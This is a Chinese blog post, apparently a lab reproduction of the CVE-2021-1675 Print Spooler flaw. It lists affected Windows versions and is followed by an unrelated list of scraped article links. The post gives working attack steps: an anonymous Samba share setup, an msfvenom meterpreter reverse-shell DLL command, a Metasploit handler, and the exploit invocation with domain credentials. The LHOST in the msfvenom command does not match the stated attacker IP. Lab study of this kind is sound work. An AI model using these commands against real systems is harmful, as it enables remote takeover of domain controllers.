南极进口哈士奇
南极进口哈士奇

微软漏洞 Cve-2021-1675复现

受影响版本

  • Windows Server 2012 R2 (Server Core installation)

  • Windows Server 2012 R2

  • Windows Server 2012 (Server Core installation)

  • Windows Server 2012

  • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

  • Windows Server 2008 R2 for x64-based Systems Service Pack 1

  • Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

  • Windows Server 2008 for x64-based Systems Service Pack 2

  • Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

  • Windows Server 2008 for 32-bit Systems Service Pack 2

  • Windows RT 8.1

  • Windows 8.1 for x64-based systems

  • Windows 8.1 for 32-bit systems

  • Windows 7 for x64-based Systems Service Pack 1

  • Windows 7 for 32-bit Systems Service Pack 1

  • Windows Server 2016 (Server Core installation)

  • Windows Server 2016

  • Windows 10 Version 1607 for x64-based Systems

  • Windows 10 Version 1607 for 32-bit Systems

  • Windows 10 for x64-based Systems

  • Windows 10 for 32-bit Systems

  • Windows Server, version 20H2 (Server Core Installation)

  • Windows 10 Version 20H2 for ARM64-based Systems

  • Windows 10 Version 20H2 for 32-bit Systems

  • Windows 10 Version 20H2 for x64-based Systems

  • Windows Server, version 2004 (Server Core installation)

  • Windows 10 Version 2004 for x64-based Systems

  • Windows 10 Version 2004 for ARM64-based Systems

  • Windows 10 Version 2004 for 32-bit Systems

  • Windows 10 Version 21H1 for 32-bit Systems

  • Windows 10 Version 21H1 for ARM64-based Systems

  • Windows 10 Version 21H1 for x64-based Systems

  • Windows Server, version 1909 (Server Core installation)

  • Windows 10 Version 1909 for ARM64-based Systems

  • Windows 10 Version 1909 for x64-based Systems

  • Windows 10 Version 1909 for 32-bit Systems

  • Windows Server 2019 (Server Core installation)

  • Windows Server 2019

  • Windows 10 Version 1809 for ARM64-based Systems

  • Windows 10 Version 1809 for x64-based Systems

  • Windows 10 Version 1809 for 32-bit Systems

准备环境：kali：192.168.173.133
域控：Windows 2019 192.168.173.139（必须是2019或者2016）

首先，创建一个域控（创建域控步骤忽略）：

微软漏洞 Cve-2021-1675复现_第1张图片

创建一个普通域用户：

微软漏洞 Cve-2021-1675复现_第2张图片

微软漏洞 Cve-2021-1675复现_第3张图片

微软漏洞 Cve-2021-1675复现_第4张图片

微软漏洞 Cve-2021-1675复现_第5张图片

微软漏洞 Cve-2021-1675复现_第6张图片

Windows机默认都是开启print Spooler服务的，不然无法实现打印；

微软漏洞 Cve-2021-1675复现_第7张图片

1.先把作者的impacket包下载下来运行，链接为

https://github.com/cube0x0/impacket

微软漏洞 Cve-2021-1675复现_第8张图片

运行

cd impacket
python3 ./setup.py install

微软漏洞 Cve-2021-1675复现_第9张图片

2.开启匿名访问smb

2.1 配置/etc/samba/smb.conf
这里我使用原作者的也不行，后面参考了Gamma实验室公众号的配置才可以成功访问，链接在此：https://mp.weixin.qq.com/s/iNOb6cBAfMwCm2AjqbdEvQ

微软漏洞 Cve-2021-1675复现_第10张图片

[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445

[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes

配置完后，启动smbd

sudo service smbd start

因为spoolsv.exe是x64的，所以生成的dll也得是x64,生成dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.153.133 LPORT=7893 -f dll -o /tmp/rever.dll

微软漏洞 Cve-2021-1675复现_第11张图片

开启监听

msfconsole
use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.173.133
set lport 7893
run

微软漏洞 Cve-2021-1675复现_第12张图片

exp链接：

https://github.com/cube0x0/CVE-2021-1675

微软漏洞 Cve-2021-1675复现_第13张图片

直接上exp

python3 CVE-2021-1675.py 域名/域普通用户名:用户密码@域控IP smb共享文件的路径

微软漏洞 Cve-2021-1675复现_第14张图片

微软漏洞 Cve-2021-1675复现_第15张图片

微软漏洞 Cve-2021-1675复现_第16张图片

最后一步这里我出现了一个玄学问题，一直上不了线，哪怕是拿师兄能够上线的虚拟机环境拷贝到我电脑上也不行，所以这里就让他截了个图。。周末重装系统去，这种情况不是第一次了，重装系统解决100%的问题。

你可能感兴趣的:(系统安全)

  • 鸿蒙系统安全机制全解：安全启动 + 沙箱 + 动态权限实战落地指南 harmonyos
    摘要随着鸿蒙系统在智能设备、可穿戴设备、车载终端等领域不断扩展，系统的安全性也成为用户和开发者关注的重点。为了保护系统不被恶意代码破坏，同时保护用户的隐私和数据安全，鸿蒙系统设计了完整的安全机制。其中，安全启动机制负责系统的可信链构建，而运行时的沙箱机制与动态权限管理则在系统运行后继续保障安全。引言鸿蒙系统从底层安全启动，到上层应用的权限控制，设计了一整套可信、安全、可控的机制。这些机制不仅能防止
  • 鸿蒙 Secure Boot 全流程解析：从 BootROM 到内核签名验证的实战指南
    摘要随着智能设备应用的深入，操作系统安全成为设备可信运行的基础。在物联网和多终端场景中，一旦系统被恶意篡改，将带来数据泄露、设备被控等严重后果。鸿蒙系统在安全启动方面设计了完整的机制，从最底层的BootROM开始逐级校验，确保每一阶段软件的完整性和可信度。引言鸿蒙系统作为一款面向全场景的操作系统，支持手机、电视、可穿戴设备等多种形态，安全性要求远高于传统系统。为了防止设备在启动过程中被注入恶意代码
  • 【kafka】在Linux系统中部署配置Kafka的详细用法教程分享 景天科技苑 linux基础与进阶shell脚本编写实战kafkalinux分布式kafka安装配置kafka优化
    ✨✨欢迎大家来到景天科技苑✨✨养成好习惯，先赞后看哦~作者简介：景天科技苑《头衔》：大厂架构师，华为云开发者社区专家博主，阿里云开发者社区专家博主，CSDN全栈领域优质创作者，掘金优秀博主，51CTO博客专家等。《博客》：Python全栈，PyQt5和Tkinter桌面应用开发，小程序开发，人工智能，js逆向，App逆向，网络系统安全，云原生K8S，Prometheus监控，数据分析，Django
  • Oracle 数据库管理与维护实战指南（用户权限、备份恢复、性能调优） 白仑色 Oracle系列数据库oracle数据库管理性能调优备份恢复
    关键词：Oracle用户权限管理、冷热备份、RMAN备份、AWR报告、SQL调优、等待事件分析✅摘要在企业级Oracle数据库运维中，用户权限管理、数据备份恢复机制、性能监控与调优是保障系统安全、稳定和高效运行的三大核心任务。本文将围绕以下内容进行详细讲解：用户与权限管理：创建用户、角色、授权与回收权限备份与恢复策略：物理备份（冷/热）、逻辑备份（EXP/IMP）、RMAN工具使用性能监控与调优：
  • Linux文件权限管理 IT摆渡者 网络服务器运维linux
    Linux文件权限管理：告别777，掌握核心操作在Linux系统中，文件权限是保障系统安全的基础。不少运维新手图省事，动辄给文件设置777权限，这其实隐藏着巨大安全风险。本文带你快速掌握Linux文件权限的核心知识与实用操作，摆脱对777的依赖。一、文件权限基础概念Linux通过"用户类别+权限类型"实现权限管控，核心要素包括：•三类用户：拥有者（user）、用户组（group）、其他用户（oth
  • 基于 FastAPI + MySQL 打造高性能企业级 RBAC 权限系统 源滚滚AI编程 fastapimysqladb
    在企业级应用开发中，精细化的权限控制是保障系统安全的核心需求。基于角色的访问控制（RBAC）通过解耦用户与权限的逻辑关系，大幅提升了权限管理的灵活性和可维护性。本文将深入解析如何基于FastAPI和MySQL构建一套高性能、易扩展的企业级RBAC系统。一、RBAC核心架构设计RBAC（Role-BasedAccessControl）的核心在于三层映射关系：用户（User）：系统操作主体角色（Rol
  • 黑客攻防演练之：红队攻击の常见战术及案例 黑客飓风 web安全安全网络
    HVV和HW最近大家看到的比较多，一般指的攻防演练。“攻防演练”通常是指在网络安全领域中，通过模拟攻击和防御的对抗过程，来检验和提升系统安全性、人员技能水平以及应对突发事件能力的一种实践性活动。什么是红队攻防演练，也常被称为“网络安全攻防演练”或“红蓝对抗演练”，是一种通过模拟网络攻击和防御过程，来评估和提升网络安全防护能力的实践活动。它广泛应用于网络安全领域，以及军事、企业、政府机构等多个行业，
  • 系统架构设计师论文分享-论系统安全设计 码农卿哥 系统架构设计师系统架构系统安全安全
    我的软考历程摘要2023年2月，我所在的公司通过了研发纱线MES系统的立项，该项目为国内纱线工厂提供SAAS服务，旨在提高纱线工厂的数字化和智能化水平。我在该项目中担任系统架构设计师，负责整个项目的架构设计工作。本文结合我在该项目中的实践，详细论述了安全架构的设计，主要设计内容包括身份鉴别服务、访问控制服务和数据完整性服务，其中身份鉴别服务确保只有授权的用户才能访问系统资源，访问控制服务确保只有授
  • 筑牢 AIGC 安全防线：警惕提示词注入攻击 CS创新实验室 AIGCAIGC安全大模型提示词提示词注入
    在AIGC（生成式人工智能）技术蓬勃发展的当下，其在各个领域的应用日益广泛。然而，随着AIGC技术的深入应用，安全问题也逐渐凸显，提示词注入攻击便是其中不容忽视的一大威胁。对于AIGC开发者而言，深入了解提示词注入攻击并做好防范工作，是保障AIGC系统安全稳定运行的关键。提示词注入攻击的基本知识提示词注入攻击是指攻击者通过精心设计和构造提示词，利用AIGC模型对输入文本的处理机制，干扰模型的正常运
  • 基于Flutter的web登录设计 aiprtem Flutterweb嵌入式Linuxflutter前端
    基于Flutter的web登录设计1.概述本文档详细介绍了基于FlutterWeb的智能家居系统登录模块的设计与实现。登录模块作为系统的入口，不仅提供了用户身份验证功能，还包括注册新用户的能力，确保系统安全性的同时提供良好的用户体验。本文档中的前端代码示例摘录自项目中的smarthomefe目录，后端服务代码摘录自fcgiServer目录。这些代码共同构成了完整的登录系统实现。项目源码：https
  • Linux 系统安全加固篇之安全加固脚本 Stdboy 网络空间安全研究系统安全安全linux
    该专栏内的脚本都会定期更新，请注意变化脚本适用于Centos7.x系列，同样支持Redhat7.x系列使用之前建议通读脚本注释，并确认不会影响你现在在用的业务注意脚本内部包含一定的参数，这些参数比较重要，涉及用户、NTP第三放服务器地址等#!/bin/bash###################################################################Lin
  • 企业级视频链接的技术实现与安全性策略
    前言视频链接作为内容分发的关键入口，其参数设计直接影响系统安全性、用户体验和运营效率。一个标准化的视频链接应包含资源标识、访问控制和播放体验三类核心参数，同时保持结构清晰和可扩展性。视频链接的批量生成与管理策略1.高效批量生成技术针对运营场景的批量链接生成需求，实现高性能的生成方案：importcsvimportconcurrent.futuresfromtqdmimporttqdmclassBa
  • 【Linux命令大全】Linux安全模块(LSM)终极指南：SELinux与AppArmor实战
    【Linux命令大全】Linux安全模块(LSM)终极指南：SELinux与AppArmor实战安全警报：90%的Linux系统未正确配置强制访问控制！掌握这些技术可防御95%的提权攻击！本文包含100+策略案例，25张权限流程图，企业级安全方案全公开！前言：为什么LSM是系统安全的最后防线？在日益复杂的攻击环境下，我们面临的核心安全挑战：零日漏洞的应急防护容器逃逸攻击防御横向移动限制合规审计要求
  • 动手实践OpenHands系列学习笔记9：容器安全加固 JeffWoodNo.1 笔记安全
    笔记9：容器安全加固一、引言容器技术虽然提供了环境隔离，但仍存在潜在的安全风险。本笔记将探讨容器安全的基本原则，分析OpenHands中的安全考量，并实现一套容器安全加固方案，确保在保持功能性的同时提升系统安全性。二、容器安全基础理论2.1容器安全风险分析逃逸风险:容器突破隔离边界访问宿主机特权提升:获取比预期更高的系统权限资源耗尽:DoS攻击导致系统资源枯竭镜像安全:镜像中潜在的漏洞和恶意代码供
  • 为什么Linux系统安全没有病毒?原因是“它” 老男孩IT教育 linux系统安全网络
    提到Linux系统，我们都会想到安全、自由度高、开源等特点，在Linux中病毒是很少甚至没有的，那么为什么Linux系统下病毒这么少呢?下面看老男孩教育小编给大家详细说明下，以下是详细的内容：Linux账号限制对一个二进制的Linux病毒，要感染可执行文件，这些可执行文件对启动这个病毒的用户一定要是可写的。而实际情况通常并不是这样的。实际情况通常是，程序被root拥有，用户通过无特权的帐号运行。而
  • Linux桌面需要强制访问控制,闲话Linux系统安全(二)——强制访问控制(MAC)
    安全秘笈第二式——不安全的特殊权限和强制访问控制(MAC)在DAC的机制中，不管是所有权加权限的管理办法，还是文件系统访问控制列表(facl)，都是非常强大的访问控制机制，均可以对文件资源进行比较有效的访问控制。但DAC的自主性太强，可以说文件资源的安全在很大的程度上取决于使用者个人的意志，因此这种安全似乎就被主观化了。尤其是对于root用户而言，不管是权限和所有权的限制，还是facl的管理控制，
  • 强制访问控制，安全模型，基于角色的访问控制模型 Lmar 安全
    3、强制访问控制自主访问权限为用户提供了很大的灵活性，从而导致系统安全的薄弱。强制访问控制事先规定了某一个客体对哪些客体允许进行什么样的访问安全策略：（根据安全需求指定相应的安全策略）为了描述系统的安全需求而指定的对用户行为进行约束的一套严谨的规则。规定了系统中哪些访问是被允许的，用计算机能表达的方式表达出来，用于指导建立相应的强制访问控制机制。a)军事安全策略安全需求是信息的保密性多级安全1.信
  • 【Security】操作系统安全 KAZIMIYA 小资料安全操作系统
    【Security】操作系统安全一、主体与客体访问控制关注的对象要么是主体，要么是客体客体（objects）：客体是一个被动的实体。在操作系统中，客体可以是按照一定格式存储在一定记录介质上的数据信息（通常以文件系统格式存储数据），也可以是操作系统中的进程。图书是保护对象，那么他是客体。对一个客体的访问隐含着对其包含信息的访问。文件，IPC资源等就是客体，进程也可以是客体。主体（subjects）：
  • 验证码(三)快速使用滑块验证码.
    滑块验证码类似于滑动验证码，通常是将一个滑块从初始位置拖动到与背景图匹配的缺口位置，以验证用户的身份。优点视觉效果好：以图形化的方式呈现，更加直观和美观，给用户带来较好的视觉体验。安全性较强：通过对滑块的位置、拖动轨迹等进行精确检测和分析，能够有效防范自动化攻击，保障系统安全。缺点对网络要求较高：如果网络环境不佳，验证码图片可能加载缓慢，影响用户验证的速度和体验。可能被绕过：虽然安全性较高，但一些
  • 打造一个可维护、可复用的前端权限控制方案（含完整Demo） web
    摘要在现代Web应用中，权限控制已经不再是“后端的事”。随着前后端分离、单页应用（SPA）流行，前端权限控制逐渐成为用户体验和系统安全的双重关键。如果只靠后端控制，前端体验太差；如果只靠前端控制，那就等于裸奔。怎么权衡？怎么落地？这就是本文要探讨的重点。引言你是否遇到过：不同用户登录后看到的菜单不同、某些按钮灰了点不了、访问一些页面会自动跳转403页面？这都来自于“前端权限控制”的精细化设计。现在
  • JWT认证性能优化实战指南
    JWT认证性能优化实战指南一、技术背景与应用场景随着微服务与云原生架构的普及，基于Token的认证方式成为保证系统安全与可扩展性的首选方案。JWT（JSONWebToken）以其自包含、自验证、跨语言支持等优点，在分布式环境中广泛应用。但在高并发场景下，JWT的解析、签名与验证过程可能成为性能瓶颈。本篇文章将结合真实生产环境，深入剖析JWT认证的核心原理，重点分析性能瓶颈，并提供多种可落地的优化实
  • 基于PLC的楼宇自动化监控系统方案 大雨淅淅 物联网大数据人工智能
    目录一、系统概述二、系统组成三、功能模块四、系统优势五、系统实施步骤六、系统安全性与隐私保护七、结语一、系统概述本系统采用先进的PLC（可编程逻辑控制器）作为核心控制单元，旨在实现对楼宇内各项设施的自动化监控与管理。通过智能化的手段，提高楼宇的运行效率，确保环境的舒适性与安全性，同时达到节能减排的目的。二、系统组成PLC控制器：作为系统的大脑，负责接收传感器信号，处理数据，并发出控制指令给执行器。
  • 服务器被病毒入侵如何彻底清除？ bocco 安全狗服务器运维
    当服务器遭遇病毒入侵时，彻底清除病毒是确保系统安全和数据完整性的关键步骤。这一过程不仅需要技术上的精准操作，还需要严密的计划、合理的资源调配以及后续的防范措施。以下是一篇关于如何在服务器被病毒入侵时彻底清除病毒的详细指南。一、初步响应与隔离一旦发现服务器出现异常行为，如系统速度变慢、频繁崩溃、数据丢失或异常网络连接等，应立即启动应急响应计划。首先，确保所有用户账户和密码的安全性，防止病毒进一步扩散
  • 电容器保护测控装置：原理与功能解析
    电容器保护测控装置是电容补偿系统的核心设备，适用于非直接接地或小电阻接地系统。其采用保护测控一体化设计，集成通信接口，支持组屏或就地安装，实现对并联电容器组的全方位监控与故障防护。电容器保护测控装置通过多维度保护逻辑（电流/电压/零序/非电量）、高精度测控及强抗干扰设计，保障电容补偿系统安全运行。一、核心保护原理1.电流类保护三段式定时限过流保护动作逻辑：任一相电流>定值且持续>延时时间→跳闸出口
  • 十八、windows系统安全---利用Hydra获得账号密码 midsummer_woo Windows系统安全安全windows
    环境靶机：windowsserver2012攻击机：kalilinux靶机环境密码为弱口令设定登录失败的次数锁定用户账号，关闭密码复杂度步骤1.在kali上探测目标主机（可在目标主机通过ipconfig查看目标主机IP）是否开启445端口nmap192.168.99.105-p4452.使用hydra对已知的administrator账号进行爆破（注意pass.txt的路径）hydra-ladmi
  • 网络安全防御：蓝队重保备战与应急溯源深度解析 网安认证小马135-2173-0416 web安全安全
    课程目标本课程旨在培养专业的网络安全蓝队成员，通过系统化的学习和实战演练，使学员能够掌握网络安全防御的核心技能，包括资产测绘、应急响应、系统安全应急溯源分析、网络层溯源分析以及综合攻防演练等。学员将能够熟练运用各种工具和技术，有效应对网络攻击，保障企业信息安全。具体目标如下：增强综合攻防能力：通过综合训练，学员将能够模拟攻击者和企业安全人员，开展对抗练习，提升实战能力和团队协作能力。掌握蓝队核心技
  • 第27篇：SELinux安全增强机制深度解析与OpenEuler实践指南
    SELinux安全增强机制深度解析与OpenEuler实践指南一、SELinux核心概念与安全体系架构1.1访问控制机制演进与SELinux定位在计算机系统安全领域，访问控制机制经历了从简单到复杂的发展历程。传统的自主访问控制（DAC）以文件所有者权限为核心，如Linux中的UID/GID权限体系，允许所有者自由分配权限，但这种机制在面对多用户复杂环境时存在安全隐患——一旦用户账户被入侵，攻击者可
  • Linux(进程概念)
    目录冯诺依曼体系操作系统进程概念进程控制进程状态环境变量虚拟地址空间（进程隔离与内存管理的基石）程序替换冯诺依曼体系五大硬件单元运算器控制器存储器输入设备输出设备所有硬件都是围绕内存工作的操作系统核心目的：高效管理与便捷交互资源管理：优化硬件与软件的资源分配提供抽象接口：屏蔽硬件复杂性保障系统安全与稳定性提供用户交互界面定位：计算机系统的管理者与桥梁如何管理：先描述再组织库函数与系统调用的关系系统
  • 工业控制系统安全综述 罗思付之技术屋 物联网及AI前沿技术专栏安全网络web安全
    摘要工业控制系统除了应用于生产制造行业外，还广泛应用于交通、水利和电力等关键基础设施.随着工业数字化、网络化、智能化的推进，许多新技术应用于工业控制系统，提高了工业控制系统的智能化水平，但其也给工业控制系统的安全带来严峻的挑战.因此，工业控制系统的安全倍受研究人员的关注.为了让研究人员系统化地了解目前的研究进展，调研了近3年WebofScience核心数据库、EI数据库和CCF推荐网络与信息安全国
  • 《C#上位机开发从门外到门内》3-5：基于FastAPI的Web上位机系统 百锦再@新空间 上位机开发fastapi前端数据库centosoracle关系型安全
    文章目录一、项目概述二、系统架构设计三、前后端开发四、数据可视化五、远程控制六、系统安全性与稳定性七、性能优化与测试八、实际应用案例九、结论随着互联网技术的快速发展，Web上位机系统在工业自动化、智能家居、环境监测等领域的应用日益广泛。基于FastAPI或Flask的Web上位机系统，凭借其高效、灵活和易于扩展的特点，成为当前研究和应用的热点。本文将详细探讨基于FastAPI和Flask的Web上
  • xml解析 小猪猪08 xml
    1、DOM解析的步奏 准备工作：    1.创建DocumentBuilderFactory的对象    2.创建DocumentBuilder对象    3.通过DocumentBuilder对象的parse(String fileName)方法解析xml文件    4.通过Document的getElem
  • 每个开发人员都需要了解的一个SQL技巧 brotherlamp linuxlinux视频linux教程linux自学linux资料
      对于数据过滤而言CHECK约束已经算是相当不错了。然而它仍存在一些缺陷，比如说它们是应用到表上面的，但有的时候你可能希望指定一条约束，而它只在特定条件下才生效。 使用SQL标准的WITH CHECK OPTION子句就能完成这点，至少Oracle和SQL Server都实现了这个功能。下面是实现方式： CREATE TABLE books (   id &
  • Quartz——CronTrigger触发器 eksliang quartzCronTrigger
    转载请出自出处：http://eksliang.iteye.com/blog/2208295 一.概述 CronTrigger 能够提供比 SimpleTrigger 更有具体实际意义的调度方案，调度规则基于 Cron 表达式，CronTrigger 支持日历相关的重复时间间隔（比如每月第一个周一执行），而不是简单的周期时间间隔。 二.Cron表达式介绍 1）Cron表达式规则表 Quartz
  • Informatica基础 18289753290 InformaticaMonitormanagerworkflowDesigner
    1. 1）PowerCenter Designer：设计开发环境，定义源及目标数据结构；设计转换规则，生成ETL映射。 2）Workflow  Manager：合理地实现复杂的ETL工作流，基于时间，事件的作业调度 3）Workflow  Monitor：监控Workflow和Session运行情况，生成日志和报告 4）Repository  Manager：
  • linux下为程序创建启动和关闭的的sh文件，scrapyd为例 酷的飞上天空 scrapy
    对于一些未提供service管理的程序  每次启动和关闭都要加上全部路径，想到可以做一个简单的启动和关闭控制的文件   下面以scrapy启动server为例，文件名为run.sh：   #端口号，根据此端口号确定PID PORT=6800 #启动命令所在目录 HOME='/home/jmscra/scrapy/' #查询出监听了PORT端口
  • 人--自私与无私 永夜-极光
                今天上毛概课,老师提出一个问题--人是自私的还是无私的,根源是什么?               从客观的角度来看,人有自私的行为,也有无私的
  • Ubuntu安装NS-3 环境脚本 随便小屋 ubuntu
      将附件下载下来之后解压，将解压后的文件ns3environment.sh复制到下载目录下（其实放在哪里都可以，就是为了和我下面的命令相统一）。输入命令：   sudo ./ns3environment.sh >>result   这样系统就自动安装ns3的环境，运行的结果在result文件中，如果提示     com
  • 创业的简单感受 aijuans 创业的简单感受
           2009年11月9日我进入a公司实习，2012年4月26日，我离开a公司，开始自己的创业之旅。      今天是2012年5月30日，我忽然很想谈谈自己创业一个月的感受。 当初离开边锋时，我就对自己说：“自己选择的路，就是跪着也要把他走完”，我也做好了心理准备，准备迎接一次次的困难。我这次走出来，不管成败
  • 如何经营自己的独立人脉 aoyouzi 如何经营自己的独立人脉
    独立人脉不是父母、亲戚的人脉，而是自己主动投入构造的人脉圈。“放长线，钓大鱼”，先行投入才能产生后续产出。   现在几乎做所有的事情都需要人脉。以银行柜员为例，需要拉储户，而其本质就是社会人脉，就是社交！很多人都说，人脉我不行，因为我爸不行、我妈不行、我姨不行、我舅不行……我谁谁谁都不行，怎么能建立人脉？我这里说的人脉，是你的独立人脉。   以一个普通的银行柜员
  • JSP基础 百合不是茶 jsp注释隐式对象
      1,JSP语句的声明 <%! 声明 %> 　　 声明：这个就是提供java代码声明变量、方法等的场所。 表达式 <%= 表达式 %> 　　 这个相当于赋值，可以在页面上显示表达式的结果， 程序代码段/小型指令　<% 程序代码片段 %>   2,JSP的注释   <!-- -->
  • web.xml之session-config、mime-mapping bijian1013 javaweb.xmlservletsession-configmime-mapping
    session-config 1.定义： <session-config> <session-timeout>20</session-timeout> </session-config> 2.作用：用于定义整个WEB站点session的有效期限，单位是分钟。   mime-mapping 1.定义： <mime-m
  • 互联网开放平台（1） Bill_chen 互联网qq新浪微博百度腾讯
    现在各互联网公司都推出了自己的开放平台供用户创造自己的应用，互联网的开放技术欣欣向荣，自己总结如下： 1.淘宝开放平台(TOP) 网址：http://open.taobao.com/ 依赖淘宝强大的电子商务数据，将淘宝内部业务数据作为API开放出去，同时将外部ISV的应用引入进来。 目前TOP的三条主线： TOP访问网站：open.taobao.com ISV后台：my.open.ta
  • 【MongoDB学习笔记九】MongoDB索引 bit1129 mongodb
    索引 可以在任意列上建立索引 索引的构造和使用与传统关系型数据库几乎一样,适用于Oracle的索引优化技巧也适用于Mongodb 使用索引可以加快查询,但同时会降低修改,插入等的性能 内嵌文档照样可以建立使用索引 测试数据     var p1 = { "name":"Jack", "age&q
  • JDBC常用API之外的总结 白糖_ jdbc
    做JAVA的人玩JDBC肯定已经很熟练了，像DriverManager、Connection、ResultSet、Statement这些基本类大家肯定很常用啦，我不赘述那些诸如注册JDBC驱动、创建连接、获取数据集的API了，在这我介绍一些写框架时常用的API，大家共同学习吧。     ResultSetMetaData获取ResultSet对象的元数据信息
  • apache VelocityEngine使用记录 bozch VelocityEngine
    VelocityEngine是一个模板引擎，能够基于模板生成指定的文件代码。   使用方法如下：     VelocityEngine engine = new VelocityEngine();// 定义模板引擎     Properties properties = new Properties();// 模板引擎属
  • 编程之美-快速找出故障机器 bylijinnan 编程之美
    package beautyOfCoding; import java.util.Arrays; public class TheLostID { /*编程之美 假设一个机器仅存储一个标号为ID的记录，假设机器总量在10亿以下且ID是小于10亿的整数，假设每份数据保存两个备份，这样就有两个机器存储了同样的数据。 1.假设在某个时间得到一个数据文件ID的列表，是
  • 关于Java中redirect与forward的区别 chenbowen00 javaservlet
    在Servlet中两种实现： forward方式：request.getRequestDispatcher(“/somePage.jsp”).forward(request, response); redirect方式：response.sendRedirect(“/somePage.jsp”); forward是服务器内部重定向，程序收到请求后重新定向到另一个程序，客户机并不知
  • [信号与系统]人体最关键的两个信号节点 comsci 系统
            如果把人体看做是一个带生物磁场的导体,那么这个导体有两个很重要的节点,第一个在头部,中医的名称叫做 百汇穴, 另外一个节点在腰部,中医的名称叫做 命门         如果要保护自己的脑部磁场不受到外界有害信号的攻击,最简单的
  • oracle 存储过程执行权限 daizj oracle存储过程权限执行者调用者
    在数据库系统中存储过程是必不可少的利器，存储过程是预先编译好的为实现一个复杂功能的一段Sql语句集合。它的优点我就不多说了，说一下我碰到的问题吧。我在项目开发的过程中需要用存储过程来实现一个功能，其中涉及到判断一张表是否已经建立，没有建立就由存储过程来建立这张表。 CREATE OR REPLACE PROCEDURE TestProc  IS    fla
  • 为mysql数据库建立索引 dengkane mysql性能索引
    前些时候，一位颇高级的程序员居然问我什么叫做索引，令我感到十分的惊奇，我想这绝不会是沧海一粟，因为有成千上万的开发者（可能大部分是使用MySQL的）都没有受过有关数据库的正规培训，尽管他们都为客户做过一些开发，但却对如何为数据库建立适当的索引所知较少，因此我起了写一篇相关文章的念头。  最普通的情况，是为出现在where子句的字段建一个索引。为方便讲述，我们先建立一个如下的表。
  • 学习C语言常见误区 如何看懂一个程序 如何掌握一个程序以及几个小题目示例 dcj3sjt126com c算法
    如果看懂一个程序，分三步   1、流程   2、每个语句的功能   3、试数   如何学习一些小算法的程序 尝试自己去编程解决它，大部分人都自己无法解决 如果解决不了就看答案 关键是把答案看懂，这个是要花很大的精力，也是我们学习的重点 看懂之后尝试自己去修改程序，并且知道修改之后程序的不同输出结果的含义 照着答案去敲 调试错误
  • centos6.3安装php5.4报错 dcj3sjt126com centos6
    报错内容如下: Resolving Dependencies --> Running transaction check ---> Package php54w.x86_64 0:5.4.38-1.w6 will be installed --> Processing Dependency: php54w-common(x86-64) = 5.4.38-1.w6 for
  • JSONP请求 flyer0126 jsonp
          使用jsonp不能发起POST请求。 It is not possible to make a JSONP POST request. JSONP works by creating a <script> tag that executes Javascript from a different domain; it is not pos
  • Spring Security（03）——核心类简介 234390216 Authentication
    核心类简介 目录 1.1     Authentication 1.2     SecurityContextHolder 1.3     AuthenticationManager和AuthenticationProvider 1.3.1  &nb
  • 在CentOS上部署JAVA服务 java--hhf javajdkcentosJava服务
        本文将介绍如何在CentOS上运行Java Web服务，其中将包括如何搭建JAVA运行环境、如何开启端口号、如何使得服务在命令执行窗口关闭后依旧运行     第一步：卸载旧Linux自带的JDK ①查看本机JDK版本 java -version    结果如下 java version "1.6.0"
  • oracle、sqlserver、mysql常用函数对比[to_char、to_number、to_date] ldzyz007 oraclemysqlSQL Server
    oracle                                &n
  • 记Protocol Oriented Programming in Swift of WWDC 2015 ningandjin protocolWWDC 2015Swift2.0
    其实最先朋友让我就这个题目写篇文章的时候，我是拒绝的，因为觉得苹果就是在炒冷饭， 把已经流行了数十年的OOP中的“面向接口编程”还拿来讲，看完整个Session之后呢，虽然还是觉得在炒冷饭，但是毕竟还是加了蛋的，有些东西还是值得说说的。 通常谈到面向接口编程，其主要作用是把系统设计和具体实现分离开，让系统的每个部分都可以在不影响别的部分的情况下，改变自身的具体实现。接口的设计就反映了系统
  • 搭建 CentOS 6 服务器(15) - Keepalived、HAProxy、LVS rensanning keepalived
    （一）Keepalived （1）安装 # cd /usr/local/src # wget http://www.keepalived.org/software/keepalived-1.2.15.tar.gz # tar zxvf keepalived-1.2.15.tar.gz # cd keepalived-1.2.15 # ./configure # make &a
  • ORACLE数据库SCN和时间的互相转换 tomcat_oracle oraclesql
    SCN（System Change Number 简称 SCN）是当Oracle数据库更新后，由DBMS自动维护去累积递增的一个数字，可以理解成ORACLE数据库的时间戳，从ORACLE 10G开始，提供了函数可以实现SCN和时间进行相互转换； 　　 用途：在进行数据库的还原和利用数据库的闪回功能时，进行SCN和时间的转换就变的非常必要了； 　 　操作方法： 　　1、通过dbms_f
  • Spring MVC 方法注解拦截器 xp9802 spring mvc
    应用场景，在方法级别对本次调用进行鉴权，如api接口中有个用户唯一标示accessToken,对于有accessToken的每次请求可以在方法加一个拦截器，获得本次请求的用户，存放到request或者session域。 python中，之前在python flask中可以使用装饰器来对方法进行预处理，进行权限处理 先看一个实例,使用@access_required拦截： ?
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他